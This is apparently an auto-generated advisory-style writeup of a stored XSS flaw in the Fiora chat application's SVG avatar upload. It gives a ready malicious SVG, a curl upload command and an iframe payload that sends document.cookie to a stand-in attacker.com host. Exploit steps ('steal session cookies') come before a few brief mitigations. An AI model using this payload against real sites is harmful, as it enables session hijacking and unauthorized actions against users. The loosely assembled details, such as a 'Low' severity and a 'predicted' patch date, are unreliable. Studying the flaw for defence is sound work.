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How the mentioned CVE works:
The vulnerability exists in the user avatar upload feature of the Fiora chat application. The application accepts SVG files but does not perform adequate content sanitization. A malicious actor can craft an SVG file that embeds a `foreignObject` element. Within this element, an `iframe` tag is included, which itself contains a JavaScript event handler like onmouseover. When this crafted SVG is uploaded as an avatar and subsequently rendered by a victim’s web browser, the `onmouseover` event triggers the execution of arbitrary JavaScript code. This allows the attacker to perform actions such as stealing the victim’s session cookies or performing unauthorized actions within their authenticated session, all by exploiting the trust the application has in the rendered avatar image.
Platform: Fiora
Version: 1.0.0
Vulnerability: Stored XSS
Severity: Low
date: 2025-10-01
Prediction: Patch 2025-10-15
What Undercode Say:
Example malicious SVG file creation echo ' <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <foreignObject width="100" height="100"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(document.cookie)" onmouseover="alert(1)"/> </foreignObject> </svg> ' > malicious_avatar.svg Curl command to upload the malicious avatar (requires authenticated session) curl -X POST -F "avatar=@malicious_avatar.svg" -b "session_cookie=value" http://fiora-instance/upload/avatar
// Example payload embedded in the SVG's foreignObject
<iframe onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"></iframe>
How Exploit:
Craft malicious SVG.
Upload as avatar.
Wait for user interaction.
Steal session cookies.
Protection from this CVE:
Sanitize SVG uploads.
Remove `foreignObject` elements.
Implement Content Security Policy.
Impact:
Session hijacking.
Unauthorized user actions.
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Sources:
Reported By: github.com
Extra Source Hub:
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